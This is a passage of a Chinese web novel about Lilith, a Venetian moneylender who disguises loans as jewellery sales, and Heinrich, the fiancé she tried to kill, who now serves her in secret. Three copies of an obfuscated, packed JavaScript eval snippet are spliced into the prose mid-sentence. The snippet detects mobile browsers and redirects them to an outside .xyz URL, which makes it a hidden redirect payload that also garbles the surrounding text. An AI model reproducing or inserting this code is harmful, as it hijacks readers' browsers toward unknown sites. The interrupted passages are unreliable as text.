“……”莉莉斯从未想到这个从初次见面时便沉默寡言的家伙居然会突然说出这么一段话。她还没来得及回复,海因里希便继续说了下去。 “无论您以后想要做成什么样的事业,无论您有什么样的愿望,我都愿意帮助您,支持您,为您扫清一切障碍,帮您处理掉所有您不喜欢的人。您的耳边再也不会听见任何流言蜚语。” “呵,瞧把你吓得。”莉莉斯翻了个白眼,露出一个十分不屑的笑容。她突然俯下身举起小桌上那个递给了海因里希的酒杯,当着他的面喝了一大口,咽下去,然后将剩余的酒液全部从海因里希的头顶倾倒下去。 “你想为我工作。”莉莉斯冷冷地对他说,“就要先搞清楚一点。我不喜欢满嘴空话,阿谀奉承之徒。你不就是怕我因为你知道了我的秘密,想要杀你灭口吗?我告诉你,我只会杀对我有威胁的人,而像你这样的奴隶,根本不值得我亲自动手。” “这就是您会亲自下令杀死未婚夫的原因吗?”被红酒淋湿的海因里希抬眼,直勾勾地盯着莉莉斯的眼睛。 “他威胁到我了。”莉莉斯恶狠狠地说,“我不可能抛下我的事业、我的朋友与我在威尼斯积累的一切去嫁给一个素未谋面的德国人,被关在荒无人烟的乡村里给他生儿育女。” “这才是我的女主人。正因为您拥有这样的决断,您才能够得到我的忠心。” “那就好好揣着你的忠心。”莉莉斯冷不丁地往海因里希胸口狠狠踹了一脚。 “我会好好揣着它,而且会向您证明我可不只是会说些恭维的话。” 海因里希微笑着向莉莉斯伸出右手。莉莉斯有些不知所措地将自己的左手递给他。只见海因里希从口袋里掏出了一枚血红色的宝石戒指,小心翼翼地将戒指戴上她的左手无名指。 “这是哪里来的!?”莉莉斯难以置信地看着这枚成色极好的鸽血红,被吓了一跳。 “是您死去的未婚夫送给您的订婚礼物。”海因里希津津有味地欣赏着莉莉斯的反应。 红发的少女在烛光下仔仔细细地欣赏着宝石折射出的华彩,饶是刚才有多不悦现在都被得到礼物的意外之喜一扫而空,像个孩子似的难掩激动。 “那个死老头……居然敢私藏这么好的东西不给我……” “您喜欢吗?” “喜欢啊,这么好的东西,谁不喜欢呢……”莉莉斯下意识回答道,说完了才反应过来自己刚才还在对他生气,“你得意什么,记住你的身份,你又不是真正的海因里希。” “我知道,我是您的奴隶。” “明天一早,塞西莉娅会给你安排你需要做的工作。”莉莉斯突然又板起脸,冷冷地对他说,“好好干吧。” 海因里希从卧室里走出来的时候迎面撞见塞西莉娅。黑发黑眼的女仆仍旧像此前一般恶狠狠地盯着他,没好气地在他面前猛猛关上莉莉斯卧室的房门。在去浴室之前,海因里希先回到卧室,将他藏在左手衬衫袖管里防身用的小刀抽了出来。 虽然在心狠手辣方面海因里希恐怕还不及莉莉斯的十分之一,但若是比起武力,这个略显娇小的女孩子显然不是海因里希的对手。倒是那个总不拿正眼看人的塞西莉娅也许会构成威胁。不过海因里希很庆幸自己并没有被逼到不得不掏出武器的境地。 他深吸一口气,感叹自己今夜再次侥幸逃过一劫。得亏他从前没少在社交场合里听这些恭维的漂亮话,关键时刻竟然也挤出来了那么一大堆溢美之辞——说得他自己直犯恶心。 只是因为“受到威胁”便不惜赔上无辜者的人命。怎么会有这么自私自利,贪心不足的坏女人?真是丧尽天良,恶毒至极。碰上这样一个可怕的蛇蝎毒妇,要是真把她娶回家去,可不知道会要怎么闹翻天。他一定得想办法搞到纸笔,尽快写信和家里取得联系,赶紧逃离威尼斯这趟浑水回到法兰克福去……当然,在此之前,他必须让莉莉斯为她所犯的恶行付出代价。 另一边,莉莉斯的卧室。 “塞西莉娅。”莉莉斯站在窗前,看着窗外的大雨将小楼下的海水搅得一片浑浊,“先不用动手了。” “您打算留他一命吗?” “毕竟是花钱买来的玩具,我想再多玩一会儿。”莉莉斯转动着戴在手上的红宝石戒指,”下周得出季度报表了,肯定有人缺人手吧。工作进行得怎么样?” “……我会加紧的。” “周五我要去见索菲亚,务必在这之前做好。” “遵命。” “去休息吧,晚安。” 塞西莉娅走后留下莉莉斯一个人在房间里。她最终还是把戒指摘了下来,和祖母绿项链一起收进首饰盒。她呆呆地望着那颗被放在梳妆台上的头骨,仿佛在透过他看向自己素未谋面的未婚夫。 “对不起,海因里希。”她用德语对他说,声音很轻,轻到几乎被雨声完全盖住,“但我不得不这么做。” 翌日清晨。雨后的威尼斯再次放晴。 海因里希早早地收拾好自己,天还没亮便坐在厨房中仆人用餐的小桌前等待作为管家的塞西莉娅来安排工作。 莉莉斯的家毕竟不是杀手组织或者海盗团伙,总不至于每天都给他安排杀人越货的伙计。作为一个身材强壮的男佣人,估计也就会被安排去做一些搬运重物、清理扫除的体力活,应该不至于太危险。 他看见小楼里的另外几个仆役也陆续坐在了餐桌前。最先来的是一个留着棕色羊毛卷发的吉普赛女孩。她看起来年纪很小,穿着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973629|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 麻布衣裤和马甲,脚踩一双牛皮小短靴,打扮得像个街上的小商贩。女孩古灵精怪得很,一边啃着昨晚剩下的面包一边时不时斜眼瞄一眼这个新来的大块头。 过一会儿又来了一个女仆打扮的斯拉夫女人,似乎年长一些。她怯生生地主动和海因里希打了声招呼,便自顾自地开始生火烧水。 又过了一会儿,厨房的后门被推开,进来了一个留着白胡子的犹太老人。他手里拿着厚厚的牛皮公文包。 塞西莉娅最后一个才终于出现在厨房里。她也没有作女仆的打扮,而是穿着一条修女式的黑白相间的长裙,十分严肃地站在四人面前。 “他是海因里希,夫人新买回来的奴隶。塔塔,让他跟着你去市场上打探情报吧。” “那怎么行!”被称作塔塔的吉卜赛女孩做出一个十分鄙夷的表情,连忙拒绝道,“这家伙架势跟个贵族少爷似的,会做生意的人看见他,原本只要5块格罗索(威尼斯银币)的面包,卖他都得卖10块。怎么可能让他跟着我去打探价格,只会扰乱我的工作。” “打探价格?”海因里希皱了皱眉。 “杜卡特(威尼斯金币)、格罗索(威尼斯银币)、弗洛林(佛罗伦萨金币);还有胡椒、丁香、肉桂;羊毛、丝绸、钢铁。”塔塔如数家珍地列举道,“还有新出炉的航海新闻,码头货物的到港,乃至哪个贵族家里流出来一些肮脏的丑闻……都是对夫人做出商业决策至关重要的消息。让我来随便考考你,上周五在威尼斯,一个杜卡特能换几个弗洛林?” “……”海因里希一时语塞,不要说他初来乍到威尼斯,就算以前在法兰克福,他也从未关心过除了自家钢铁商品以外的价格信息。 “等这傻大个把答案想出来了,早市上的第一波消息全错过啦。不好意思塞西莉娅,我得先走一步咯!” 言罢,塔塔便头也不回地从后门蹦蹦跳跳地跑出去了。塞西莉娅无奈地扶了扶额头,将眼神移向正在处理早餐食材的斯拉夫女人。 “伊万卡,那么……” “我得照顾夫人的日常生活,像夫人的床铺、衣物之类的,怎么能让男人经手呢!我一个人就可以胜任了。”方才什么都没说,只是自顾自干活的伊万卡竟直接打断了塞西莉娅,也做出一幅强烈抗议的姿态来。 塞西莉娅长叹一口气,用一种“看看你有多讨人嫌吧”的眼神瞥了一眼海因里希。她只能无奈地看向那个犹太老头。 “既然如此,夏洛克……” 海因里希顺着塞西莉娅的目光一起看向夏洛克。老人用一种十分怜悯的眼神看着海因里希。 “可怜的小伙子,看来我没有拒绝您的余地了。”夏洛克慢条斯理地说道,“来跟着我学一些账目与财务相关的技能吧。我年纪大了,若是能有个脑经活络的年轻人帮我检查一下账目也是好的。” “我愿为您效劳。” “勤奋好学是件好事。可是你什么都不会,得要从头教起,得花我好大一番功夫。”夏洛克突然将目光移向了塞西莉娅,“那对我来说,就是多余的工作了,得加钱,我申请月薪上调十个杜卡特。” “三个。” “五个呢,塞西莉娅,您不能逼我做赔本的生意。” “三个。一个也不能多了。” 塞西莉娅咬牙切齿地说,狠狠地瞪了一眼海因里希,“好了,散会,都去工作。” 海因里希无奈地看向这个趁机讹了一笔的犹太老头,心想不愧是给莉莉斯做事的人,各个都这么奸诈狡猾。真不知道她到底是在做些什么生意…… 忽然,他想起了“放贷的莉莉斯”这个外号的前缀——高利贷,教会命令禁止的罪行。 5. 闺阁里的银行家 星期一的一大早天还没亮,威尼斯里亚尔托大桥附近的集市上便已经熙熙攘攘、人声鼎沸。 作为快讯专员兼职交易员的塔塔在和熟识的鱼摊老板唠嗑。她一边听他们分享着码头上传来比安奇公司旗下的香料船遭遇热那亚海盗洗劫的消息,一边竖起耳朵听着隔壁肉铺的老板谈起威尼托农村里闹了猪瘟。她从腰包里掏出五个苏尔迪买来几块面包,三个格罗索买来一大块T骨牛排,十五个苏尔迪换来新鲜的鱿鱼,又用七个苏尔迪买来新鲜芦笋和菊苣。 她拎着大包小包的食材穿过街道,回到莉莉斯家的后厨小门,将一天的食材交给伊万卡,坐下来喝两口水,便又急匆匆地跑回市集,等待香料摊、布料摊还有小银行开始营业,进行一天工作中的重头戏。 与此同时,负责所有家务杂役的女仆伊万卡已经将给女主人的早餐准备好,紧锣密鼓地给整栋小楼的午餐备菜。T骨牛排一分为二,一小块菲力单独留给女主人,收在避光的橱柜里等到用餐前用黄油炙烤成五分熟,配以大蒜、海盐与昂贵的黑胡椒。剔下来的筋膜与西冷一起切成小块,放进大锅里和圆葱、胡萝卜一起炖煮,做成给仆人的大锅饭。 塞西莉娅即是莉莉斯最信任的亲信副手,一众员工的小领导,也是掌管小金库钥匙和每一笔实际开支的出纳与风险控制专员。 为下属们布置完工作后她便回到了莉莉斯的卧室门口,等待着女主人醒来后服侍其洗漱与梳妆。穿戴整齐、用过早餐之后,莉莉斯会来到设在二楼的办公大厅同众人打招呼。 此时塔塔已经带回来了最新的货币与大宗商品价格,又一次跑了出去与街头巷尾的洗衣妇和酒馆伙计聊天,打听收集一些更有意思的情报。如果能在市集上捡到商人急于脱手而低价贱卖的丝绸、香料甚至珠宝,她也有权限喊价买入,等回来和塞西莉娅申领现金后付款交付。 而作为主理人的莉莉斯最重要的日常工作就是坐在卧室的办公桌前阅读信件并撰写回复。塞西莉娅将邮箱里厚厚的一沓信件抱上办公桌,先粗略筛选掉那些无关紧要的,再按照优先级排序等待莉莉斯检阅。 二楼办公厅则是一个宽敞的大厅,里面摆放着三张桌子,原本分别归属于塞西莉娅、塔塔和和夏洛克。由于新来的海因里希没地方坐,便将常年空着的塔塔的椅子搬来让他坐在夏洛克旁边。 金发的少年期待着首席会计师夏洛克为自己布置些什么任务,或者能教他什么与记账有关的知识,可那犹太老人只是埋头工作,不是在写着什么便是在一个劲拨弄算盘算数,看都不看海因里希一眼。 “我有什么能帮您的吗?” “这份文件抄写十份。仅仅保留表格栏目,数字的部分空着别填。等等,你会写字吗?”夏洛克调整了一下卡在眼眶中的镜片,有些不耐烦地说。 “会,算术与几何也会。” “会算账吗?” “……我可以学。” “先抄完吧。” 海因里希只好埋头抄写,尽管他一点也看不懂报表上一行一行的栏目究竟是什么意思。抄完了十份后夏洛克立刻又下达了新的工作,仍旧是抄写,抄写,抄写,一直抄到太阳快落山,夏洛克准时收拾起公文包准备回家,海因里希仍然在桌前伏案抄写。 “原来你不只会说漂亮话,还会写漂亮话啊。” 是莉莉斯的声音。海因里希抬起头,对上女主人那双笑意盈盈的灰绿色眼睛。塞西莉娅并没有跟在她身后,海因里希莫名感到松了一口气。 “为我工作的感觉怎么样?”莉莉斯笑着将文件推到一边,往办公桌上一坐,背着光坐在海因里希面前,“夏洛克都教了你些什么?” “教我学会了抄写,但是要收一个月三个杜卡特的学费。”海因里希无奈地苦笑道。 莉莉斯的目光瞥过海因里希的字迹,整洁规整,运笔流畅,绝对不属于一个才刚刚学会写字的人。 “没事,塞西莉娅会把这笔开销从你的工资里扣除的。”莉莉斯幸灾乐祸地告诉他。 “工资?” “她没告诉你吗?你是有工资的。等你攒够了工资,就可以从我这里赎身,成为自由人。塔塔,伊万卡,塞西莉娅,她们都曾是我买来的奴隶,虽然还在为我工作,但都已经是自由之身。现在她们都下班了,在享受自己的空闲时间。” 海因里希感到十分诧异。在德意志的绝大多数贵族或商人富贾的家中,奴隶被视作财产,而不是雇员。他们的一应生活起居开销都由主家负责,除了年节的额外赏赐之外,是不会像自由人一样拥有“工资”的。他在人生的前十八年里日日夜夜享受着佣人的服侍,却从未考虑过给他们发基于劳动时间而换取的“工资”。 难怪她们对待塞西莉娅的命令是会是这样不卑不亢的态度。自由意味着不受制于人,为莉莉斯工作完全出于自愿,自然也不用忍受寄人篱下的苦楚,能够正当地表达自己的想法与需求。对于贵族而言,这似乎是生而为人便已经能够享受的既定事实,可对奴隶来讲却是毕生求之不得奢侈。 “我有多少工资?” “一个月有三杜卡特,减掉三杜卡特,等于零杜卡特。”莉莉斯没忍住笑出了声,“别担心,你要是学得快,下个月我就不许夏洛克再收你学费了。他虽然表面吝啬了点,但关键时刻是个恪守契约、值得信赖的好人。我母亲生前曾受到过他许多照顾。” “您的母亲……” “我的母亲生前是赌场里的荷官。”莉莉斯对此毫不避讳,“是她教会了我怎么做账,用一种比威尼斯城里的银行家们更聪明的方式。” 正当海因里希打算继续询问下去的时候,正门的铃声突然响起。莉莉斯眨了眨眼睛,跑到窗户前向下看了一眼门外河道上停着的贡多拉里正坐着一位什么样的人,然后赶紧招呼着海因里希和自己一起下楼。 “你想知道放贷的莉莉斯是怎么赚钱的吗?”她突然踮起脚尖,凑在海因里希的耳边说,“客人来了,看着我是怎么应对的。” 来者是一位衣着考究的中年贵妇人,裙子由上好的羊毛布料制成,却能看出来已经穿了有些年头。莉莉斯并不认识她,却还是为她敞开大门,让女士在一楼的会客室坐下休息,在玻璃杯中斟满上好的葡萄酒。 “我的名字是菲奥娜·比安奇。是索菲亚侯爵夫人介绍来的。她告诉我您这里可以……赊账购买珠宝。”比安奇夫人的语气有些迟疑,似乎正为自己囊中羞涩感到很不好意思。 “哦,是的,比安奇夫人您好,我是莉莉安娜·施密德尔,您叫我莉莉安就好。人人都会有手头吃紧的时候,特别是咱们女人,总得受制于夫婿、父亲甚至兄弟,一点也做不了自己的主。”莉莉斯苦笑着握住贵妇人的手,用饱含理解的目光看向她。 比安奇。海因里希敏锐地察觉到,塔塔今天早上说起的那艘被海盗洗劫的香料船所属的公司,恰巧也叫做比安奇。 “听说您的丈夫新丧……”比安奇夫人打量了一眼四周的丧期装饰。 “是的,他死于一场不幸的海盗劫案。”莉莉斯做出一副悲伤的神情,自顾自叹了一口气,“不说这些不开心的。请您告诉我,我要怎样才能帮助 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973630|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 您呢?” “我需要……一根项链。”那女人有些心虚地移开眼,“这周末我母家有一场家族宴会,我的几个姐妹各个比我嫁得好,害得我在她们之间抬不起头……” “这怎么像话!”莉莉斯做出一副愤怒的样子,“美丽的女士最需要珠宝相衬了。我确实收藏了各种各样的珠宝,一定能为您解燃眉之急。海因里希,快去卧室里帮把我梳妆台上的首饰盒拿来。” 海因里希这才注意到莉莉斯的手上正戴着他送给她的红宝石戒指,却没有戴上那条祖母绿项链。 “只是姐姐,做妹妹的不得不提醒您一句,”莉莉斯特意等海因里希走远了,在贵妇人的耳边悄悄说,“超前消费须谨慎哦。” “我的丈夫经营有三艘运送香料的海船,向商人收取租船的运输费用 。”女士的额头似乎冒出了细微的汗珠,“有一艘会在三个月后到港,另一艘在六个月之后,满载着从亚历山大港运来的摩鹿加胡椒。等到船到港了,我一定能够还得上欠款……” 莉莉斯沉吟了片刻,让人猜不透她的意图。正好海因里希带着首饰盒子下楼,还贴心地拿来一面小镜子。她便先将盒子的锁扣打开,里面玲琅满目的宝石折射出亮丽的光彩,可无论哪一颗都比不过正中间挂着的那根绿宝石项链,贵妇人一看到它便移不开眼。 “这祖母绿可真是漂亮极了……” “抱歉,这是我先生送我的订婚礼物,只有这条不行。” “哦,真不好意思,我再看看别的……您说这条金项链是否可以……”她看中了一条厚重的纯金链子,吊坠上用珐琅彩绘制着圣母怀抱圣子的图案,外圈的勾金中饰以细碎的石榴石作为装饰。 海因里希瞥了一眼,注意到这正是下午塔塔在集市上以40杜卡特喊价买来的一条项链。这显然不是莉莉斯偏爱的风格,但似乎颇受上了年纪的贵妇人的喜欢。最重要的是金饰独一无二的商品特性——最差都能融了换成实打实的金子,是最易出手换得现金的首饰。 “哦,当然可以。您戴着它可真漂亮。”莉莉丝笑着将项链戴在了贵妇人的颈上,捧着镜子让对方欣赏镜中佩戴金饰的自己,“只是不知道是否和您的预算呢?” “我现在……一共有20杜卡特的现金。” “20啊……”莉莉斯眨了眨眼睛,思索了一阵,“我把您当姐姐,便实话和您说。这条链子您若是到集市上买,怎么也得60杜卡特才下得来。就算您今日买了,明日不想要,拿去给人回收,也能立刻换到55杜卡特的现金……而您只有20……” “若是分三期呢?以我丈夫船到的时间为期限,三个月后还一期,六个月后还第二期。”贵妇人的语气有些局促。 “姐姐,您是索菲亚介绍来的,我不能拂了您的面子。这样吧,就当跟您交个朋友。”莉莉斯又一次握住对方的手,不出意外地摸到一手的冷汗,“60杜卡特分三期,您今天先付给我20,但我需要您丈夫船队的相关文件作为证明担保,您看行吗?” “当然行!我这就回家去拿您要的文件……” “这项链姐姐日后若是不想要了,可以去找里亚尔托集市上一个铺着绿色桌布的摊位,那里管事的小女孩叫塔塔,是个顶实诚的女孩子,她会给到您最好的回收价格。” “谢谢您,施密德尔夫人。”贵妇人郑重其事地握住了莉莉斯的手,眼中几乎要泛出感动的泪水,“我以我与我丈夫家族的荣誉起誓,我一定会按时还上您的欠款。” “我的荣幸。” 莉莉斯甜丝丝地笑着,给予贵妇人一个朋友的拥抱。 6. 项链与利息的魔术 “如何呢?” 待比安奇夫人的贡多拉走远了,莉莉斯开心地伸了个懒腰,倒在沙发上松了一口气,笑着问道海因里希。 “看来塔塔今晚是不能按时下班了。”海因里希站到莉莉斯的身后,为女主人轻轻地揉肩膀,“您收了比安奇夫人20杜卡特的现金,塔塔那里一会儿得支出55杜卡特现金。您用35杜卡特的净现金支出,换来40杜卡特的应收账款,也就是5杜卡特的净利润。六月的还款期限……28%的年化利率,难怪他们说您这是高利贷。” “瞎说。”莉莉斯笑着白了他一眼,一颗一颗地数着钱袋子里的金币,“我这怎么能叫高利贷呢?高利贷指的是收取利息,我可没有收她一分钱的利息,还为一位可怜的女士和她的丈夫解决了生意上的现金流危机。” 是啊。明面上莉莉斯只是以60块的价格卖出去了一根项链,并且允许对方以分期付款的方式先用后付而已。可实际上——她与塔塔里应外合,使得比安奇夫人能够以20块的本金换取总计55块的现金——现金的数量翻了一倍有余。 所谓的项链只是一个幌子罢了。对比安奇夫人和莉莉丝而言都是。 比安奇夫人毕竟是上流社会的人,再怎么囊中羞涩也拉不下面子去找犹太人开的小银行借款,便来找到这位同为基督徒的女士以分期买项链的名义买到能用来套取现金的项链。 而对莉莉斯而言,她从交易中获得了非常可观的利润。可这利润却不是被教会严令禁止收取的“贷款利息”,只是项链卖出与回收的价格差而已。 在一条项链的掩饰下,两人就这样在闺阁中合理合法地完成了一笔借贷交易。又保全了比安奇夫人的面子,又规避了“放贷违法”的风险。那首饰盒里放着的不再是祖母绿项链、蓝宝石耳坠或者金戒指,而是一张张不同面值的筹码与债券。 “那艘比安奇公司旗下遭遇热那亚海盗洗劫的香料船。”海因里希提起塔塔大清早播报的第一则新闻,“想必就是他丈夫所经营的商船了。” “是啊。但愿她丈夫所在的那艘船能一路平安。难为她还得到处奔走着为丈夫欠下的款项筹款。你看她身上那套旧衣服,多可怜啊,估计衣柜里好一点的衣服都拿去典当行当了抵债了。” “而您卖给她的那根项链,因为市价只值40块,她若去找塔塔以外的典当行,别人都只会以40块的价格购买,甚至更低,所以您认准了她一定会去找塔塔。” “塔塔知道在我这里办事的规矩。”莉莉斯将摊开来的金币全部收回袋子里,“如果她不去找塔塔,那我相当于只付出了一条40块买来的项链,就换来了20块的现金和40块的债权,甚至赚得更多了。但我是真想帮她的。每个人都可能遇到这种万不得已的境地。我拉她一把,等她喘过气来了,会记得我今天帮她的人情。人情是比金钱更有价值的东西,因为欠钱是能还完的,而有的人情欠下了,这辈子都还不尽。” 夕阳已经西下,窗外的天空变成了大海一般沉静的深蓝色。海因里希心情复杂地望着莉莉斯的背影,想到他带着迎亲队伍准备乘船出发前往威尼斯的那天傍晚,天空也是这样美丽的颜色。 “您为什么不卖给她那条祖母绿项链?”海因里希明明已经对莉莉斯的算盘心知肚明,却还是忍不住提问。 “那至少值200杜卡特……毕竟是第一次交易,我不想借给她那么多钱。”莉莉斯将项链从首饰盒里拿了出来放在手上把玩。 意料之中的答案。海因里希无奈地挑了挑眉。再赤忱的心意与美丽的宝石,在她心中也只是一串价码与数字而已。 “她肯定是已经求过索菲亚才来的。索菲亚是个热心肠,绝对帮了她不少。所以她手里现在有的现金也一定不只有20杜卡特。她看出来我不愿意借给她太多,为了提高贷款的额度才会这么说。” “索菲亚也是一位放贷的女士吗?” “她听了你这话可得气死。”莉莉斯笑出了声,“索菲亚是埃斯特侯爵的夫人,我的好朋友,我最大的客户,也是一名寡妇。你这周五就会见到她了,因为这周五我要带你去参加我丈夫的葬礼。” “……”海因里希欲言又止。昨天他刚被派去刺杀了刺杀自己的人,过几天又得和下令杀自己的罪魁祸首一起去参加自己的葬礼。 “不过这些珠宝什么的……毕竟都是小本生意。我真正赚钱的办法可不在这里。”莉莉斯将目光投向窗外波光粼粼的河景, “钱就像河流,而我只是想做一个划船的人而已。能让水流得更快一点,也可以让我自己顺着水流向前……” 莉莉斯正打算继续说下去,便看见窗外那位贵妇人的贡多拉停靠在了面向河道的正门前。 “去告诉伊万卡,今晚我要留客人吃饭。”她回过头对海因里希说,“你去休息吧,换塞西莉娅过来陪我。” 晚饭之后,比安奇夫人千恩万谢地与莉莉斯告别。 莉莉斯从零钱袋中掏出了十个格罗索给海因里希当作见证了第一笔交易的奖金。作为交换,海因里希又多了一份未完成的工作。他得赶在明天上班之前将新交易的相关契约和证明文件抄写备份,一份留档,一份明天送去给比安奇夫人,一份交给夏洛克计算入账。 因此他终于有了在办公厅中独处的机会。偷来两张抄写用的白纸,他握着羽毛笔奋笔疾书写信给他最信任的弟弟威廉。 “我没有死。我正以一种……有些特殊的身份借住在莉莉安娜·克纳罗的家中。请帮我保守秘密……” 写完后,他立刻将信件收进夹克内袋。施密德尔家的家纹戒指已经遗失,他没办法盖火漆印,只能用浆糊勉强封口,等待第二天的下班时间去广场上的邮局门口寄信。 周二黄昏时分的广场上仍旧人头攒动、热闹非凡。海因里希赶在邮局关门之前跑进去购置邮票、将信封投入邮筒,正打算折返回家的路上,才发现一个用斗篷蒙面的人一直在他背后盯着他。 是塞西莉娅。 海因里希暗骂一句,是自己大意了,居然有人在背后跟了这么久他都没有发现。现在他只能祈祷克纳罗家族在威尼斯的权限没有大到足以渗透进邮局去拆开检查他的信件。 无论出于什么原因,莉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973631|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莉丝想要他死已经是她亲口承认的事实。如果她发现了海因里希·施密德尔还活着,她一定不会善罢甘休。相反,如果他继续扮演一条乖巧听话的狗,他反而能在等待兄弟的援助期间保护人身安全。 从威尼斯到法兰克福的信至少需要四周时间才能送达,所以海因里希收到回信将是八周后的事了。也就是说至少接下来两个月的时间,他都还得继续在莉莉斯的家中伺候这个性情古怪的大小姐。 海因里希感到十分头疼。尽管莉莉斯表面上总对他笑嘻嘻的,却还是在他的休息时间派人跟踪,说明她心底其实还是不信任他。这也是人之常情。他还需要更多时间让莉莉斯对自己放松警惕。 因此复仇的事也需要从长计议。而塞西莉娅就是他复仇路上最需要提防的爪牙。不过,一般来说被主人如此信任、予以重任的女仆一般都是陪伴主任从小长大的家生佣人。可塞西莉娅却不是,她也是被莉莉斯亲自从奴隶市场买来的。甚至塔塔和伊万卡也都与克纳罗主家毫无关联。或许作为私生女被主家排挤是难以避免的事,但排挤到近乎孤立的地步却也算是很少见了。 不知道克纳罗家知道莉莉斯在闺房中经营的这些信贷生意吗?如果他们知道了,估计会对这个不服管教的私生女大发雷霆吧。 海因里希不得不承认,莉莉斯的经营手段令他非常佩服。小楼中的每个人各司其职,互相帮助,悉心工作,俨然比许多男人管理下的草台班子要严谨规范得多。她规避教会法放贷的手段更是高明,就像是心灵手巧的绣娘在羊毛布料上刺绣的花纹一样精妙而美丽——是男人们想破头皮也想不出来的,独属于女人的艺术品。 海因里希以前也跟着父亲去参加过与武器商人或者雇佣兵头子的商业谈判。那通常是在他们钢铁工厂旁的办公楼里,或者富丽堂皇的宴会厅,几个五大三粗的男人聚集在一起——有时还会搂着一些不被当做人的女人,吵吵嚷嚷地将生意促成。 海因里希不喜欢那样的场景,却不得不逼着自己适应,逼着自己习惯。因为这就是他从前对于商业活动的全部认知。商业的世界就像战争或政治,是一个由男人统治的世界。女人与“赚钱”扯上关系是很不光彩的,不但会显得丈夫无能,还会招致流言蜚语的侵扰。可是她们明明有这样强大的创造力,高效的执行力与做决断的勇气,并不是男人们眼中优柔寡断、目光短浅的附属品。 若是男人想出来了什么商业模式和金融手段,估计早就被冠上了“威尼斯之狼”或者“珠宝贷款之父”之类夸张的称呼。只因为莉莉斯是一个女人,他们才会诋毁她是一个自我放逐的女巫。 但这也不是她设计谋害无冤无仇的未婚夫的理由!海因里希提醒着自己。不许再给莉莉斯找补了,你到底在想些什么呢?他的脑海中浮现出莉莉斯对自己笑的时候那双明媚的绿眼睛。他摇了摇头试图把这些莫名其妙的画面抛之脑后,顺着小巷往家的方向走。 走近小楼时,他看见莉莉斯正坐在窗台前修剪花枝。莉莉斯又一次对他笑,脑海中的画面在现实中重现了。海因里希感到自己的脸颊在情不自禁地发烫。 7. 葬礼上的暴力 海因里希从前参加过不少葬礼,但参加自己的葬礼还是第一次。 神圣罗马帝国的疆域中总是战争不断。许多人可能一年前还是酒桌上有说有笑的大客户,一年后便已战死疆场,连尸骨也找不到,只能用在世时的衣冠代替遗体下葬。亲人与朋友的哭声连绵不绝,神父的念辞庄严肃穆,众人都被笼罩在阴郁沉痛的氛围中哀悼。 而威尼斯的这场葬礼则截然不同。或许是因为参加葬礼的所有人中竟没有一人真的认识死者的缘故吧。也或许是因为三月威尼斯的天气一如既往的晴朗,令人完全无法联想到沉重的死亡。 海因里希将金色的短发梳成整齐的三七分背头,披着一件黑袍,显得身材挺拔而高挑。左侧眉骨上的刀伤已经完全长好了,只是留下了一道淡淡的疤痕。他心情复杂地站在人群的边缘,目光始终停留在莉莉斯海妖般的红色卷发上,看着他的女主人和参加葬礼的宾客们谈笑风生。 莉莉斯今天穿了一条做工极好的黑色缎面长裙,领口和袖口上装饰着布拉诺岛产的钩花蕾丝。她没有戴那根过分华丽的祖母绿项链,全身上下的配饰便只有左手无名指上的红宝石戒指而已,彰显着她作为死者遗孀的身份。轻薄的黑纱遮住她的半边面容,使那张稚气未脱的少女的脸显得更成熟优雅了。 海因里希不太擅长以他现在的身份应对这样的场合。有些单身的贵族小姐瞧着海因里希面生,主动搭讪来询问他是哪位贵族家的公子,他只能一边略显尴尬地告诉她们自己是莉莉斯的随从,一边赶紧在人群中搜寻着女主人的身影。 由于葬礼在周五举办,塞西莉娅需要留在宅中主持事务,莉莉斯便叫上海因里希陪自己前来。葬礼在克纳罗家族长期赞助的小教堂举行。 介于死者理论上死于海难,又从未在威尼斯居住过,克纳罗家族寄去法兰克福的信也迟迟没有到达,他们连海因里希“生前”的衣服都没有,只能用莉莉斯之前喜欢捧着的那个头骨模型代替下葬——当然了,嵌在里面的蓝宝石被抠了出来。海因里希此前实在好奇,私下问了莉莉斯那究竟是哪里来的骨头,莉莉斯告诉他这是塔塔在集市上买来哄她开心的玩具。 “哟!你就是莉莉新买的那个小白脸吗?” 突然,一个带有浓重罗马口音的年轻女人从背后叫住了海因里希。他有些愕然地回过头,看见一个栗色头发的贵妇人,比莉莉斯略微年长一些。她身后跟着一个身型挺括、穿着奇怪剪裁服饰的年轻男人,男人的手里似乎提着什么东西,被女人的裙摆挡在了身后。 “索菲亚!你怎么才来啊。”远处的莉莉斯看见了她,连忙穿过人群走到她面前和她拥抱在一起,“你可千万别取笑我了。” 海因里希这才意识到这位热情奔放的女士就是莉莉斯口中的索菲亚·埃斯特侯爵夫人。 